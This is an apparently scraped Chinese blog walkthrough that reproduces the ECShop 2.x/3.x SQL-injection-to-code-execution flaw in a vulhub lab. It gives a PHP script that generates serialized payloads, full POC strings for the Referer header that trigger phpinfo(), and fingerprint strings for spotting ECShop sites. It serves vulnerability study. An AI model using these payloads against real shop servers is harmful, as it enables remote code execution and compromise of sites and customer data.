当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、指纹信息
  • 五、环境搭建
    • 1、进入xianzhi-2017-02-82239600
    • 2、启动xianzhi-2017-02-82239600环境
    • 3、查看xianzhi-2017-02-82239600环境
    • 4、查看xianzhi-2017-02-82239600提示信息
    • 5、访问xianzhi-2017-02-82239600环境
    • 6、安装xianzhi-2017-02-82239600环境
      • 1.安装2.7.3版本
        • 配置相关信息进行安装
        • 安装完成
        • 再次访问
      • 2.安装3.6.0版本
        • 配置相关信息进行安装
        • 安装完成
        • 再次访问
      • 3.规避小坑
    • 7、关闭xianzhi-2017-02-82239600环境
  • 六、漏洞复现
    • 1、脚本生成POC文件
      • 1.脚本内容
      • 2.生成POC文件
    • 2、2.x版本复现
      • 1.进入登录页面抓包
      • 2.POC注入请求包
    • 3、3.x版本复现
      • 1.进入登录页面抓包
      • 2.POC注入请求包
  • 七、漏洞修复

一、漏洞编号

xianzhi-2017-02-82239600

二、影响范围

ECShop 2.x
ECShop 3.x

三、漏洞描述

ECShop是一个B2C独立商店系统,供公司和个人快速建立个性化的在线商店。该系统是基于PHP语言和MYSQL数据库体系结构的跨平台开源程序。在2017年及之前的版本中,存在一个SQL注入漏洞,该漏洞可能会注入有效载荷并最终导致代码执行漏洞。最新版本的3.6.0已修复此漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本来重现该漏洞

四、指纹信息

"match": "title_contains",
"content": "powered by ecshop"

"match": "header_contains",
"content": "ecs_id"

"match": "body_contains",
"content": "content=\"ecshop"

五、环境搭建

1、进入xianzhi-2017-02-82239600

cd vulhub/ecshop/xianzhi-2017-02-82239600

在这里插入图片描述

2、启动xianzhi-2017-02-82239600环境

docker-compose up -d

在这里插入图片描述

3、查看xianzhi-2017-02-82239600环境

docker-compose ps 

在这里插入图片描述

4、查看xianzhi-2017-02-82239600提示信息

cat README.md

在这里插入图片描述

5、访问xianzhi-2017-02-82239600环境

分别访问8080端口和8081端口
启动环境后,访问http://your-ip:8080,可以看到2.7.3版本安装页面。
访问http://your-ip:8081,可以看到3.6.0版本安装页面。

http://192.168.13.131:8080/

在这里插入图片描述

http://192.168.13.131:8081/

在这里插入图片描述

6、安装xianzhi-2017-02-82239600环境

两个环境全部安装,mysql地址为mysql,mysql帐户和密码为root,数据库名称可以自由填写,但是2.7.3和3.6.0的数据库名称不能相同。

1.安装2.7.3版本

配置相关信息进行安装

http://192.168.13.131:8080/install/index.php?lang=zh_cn&step=setting_ui&ui=

在这里插入图片描述

安装完成

在这里插入图片描述

再次访问

http://192.168.13.131:8080/

在这里插入图片描述

2.安装3.6.0版本

配置相关信息进行安装

http://192.168.13.131:8081/install/index.php?lang=zh_cn&step=setting_ui&ui=

在这里插入图片描述

安装完成

在这里插入图片描述

再次访问

http://192.168.13.131:8081/

在这里插入图片描述

3.规避小坑

上面降到了有个小坑,这里稍微解释一下
localhost需要改成mysql,我相信会有很多小伙伴会不细心,忘记修改这里
如果没有修改进行安装的话,连接不上数据库,会显示如下界面

在这里插入图片描述

7、关闭xianzhi-2017-02-82239600环境

docker-compose down

在这里插入图片描述

六、漏洞复现

1、脚本生成POC文件

1.脚本内容

这个脚本可以生成2.x版本和3.x版本执行phpinfo的POC:

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

2.生成POC文件

利用上面的 php 脚本文件生成POC

在这里插入图片描述

脚本内容,在文末也会给出下载链接

在这里插入图片描述

运行 php 脚本文件即可生成POC

php exp.php

得到两个POC,下面我们一一测试

在这里插入图片描述

POC for ECShop 2.x:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x:

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a  

2、2.x版本复现

点击登录进入user.php页面

http://192.168.13.131:8080/user.php

在这里插入图片描述

1.进入登录页面抓包

将抓到的包放入重放攻击模块,查看render,发现处于未登录状态

在这里插入图片描述

2.POC注入请求包

POC for ECShop 2.x:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件

在这里插入图片描述

http://192.168.13.131:8080/user.php

在这里插入图片描述

3、3.x版本复现

点击登录进入user.php页面

http://192.168.13.131:8081/user.php

在这里插入图片描述

1.进入登录页面抓包

将抓到的包放入重放攻击模块,查看render,发现处于未登录状态

在这里插入图片描述

2.POC注入请求包

POC for ECShop 3.x:

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a 

将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件

在这里插入图片描述

修改刚刚抓到的包进行发送,浏览器访问看到phpinfo信息

在这里插入图片描述

http://192.168.13.131:8081/user.php

在这里插入图片描述

七、漏洞修复

更新到最新版本

相关文章:

  • CF1443C题解
  • Tomcat相关概念
  • 网上商城之订单
  • 数学建模----拟合的实现
  • v-bind用法详解
  • Java实现随机人名抽取
  • 泰克TDS3012C数字荧光示波器TDS3012C
  • LSTM介绍理解
  • 深度学习——day27 class1 week3 神经网络概览及表示
  • 六级高频词汇——Group06
  • 云计算(一)-理解云计算
  • JavaEE——No.1 多线程案例
  • MySQL如何优化性能
  • 【C语言】自定义类型—位段、枚举、联合体
  • opencv从入门到精通 哦吼 05
  • ES6指北【2】—— 箭头函数
  • .pyc 想到的一些问题
  • 【刷算法】求1+2+3+...+n
  • Angular6错误 Service: No provider for Renderer2
  • avalon2.2的VM生成过程
  • bearychat的java client
  • classpath对获取配置文件的影响
  • Fabric架构演变之路
  • Go 语言编译器的 //go: 详解
  • HTTP请求重发
  • JavaScript工作原理(五):深入了解WebSockets,HTTP/2和SSE,以及如何选择
  • JWT究竟是什么呢?
  • Quartz初级教程
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • TypeScript迭代器
  • Webpack 4 学习01(基础配置)
  • 对象引论
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 深度解析利用ES6进行Promise封装总结
  • 移动互联网+智能运营体系搭建=你家有金矿啊!
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • 大数据全解:定义、价值及挑战
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • ​【已解决】npm install​卡主不动的情况
  • ​TypeScript都不会用,也敢说会前端?
  • #QT(串口助手-界面)
  • $分析了六十多年间100万字的政府工作报告,我看到了这样的变迁
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (python)数据结构---字典
  • (rabbitmq的高级特性)消息可靠性
  • (差分)胡桃爱原石
  • (二)fiber的基本认识
  • (二)PySpark3:SparkSQL编程
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)springboot“微印象”在线打印预约系统 毕业设计 061642
  • (附源码)springboot宠物管理系统 毕业设计 121654
  • (附源码)计算机毕业设计ssm-Java网名推荐系统
  • (新)网络工程师考点串讲与真题详解
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • ..回顾17,展望18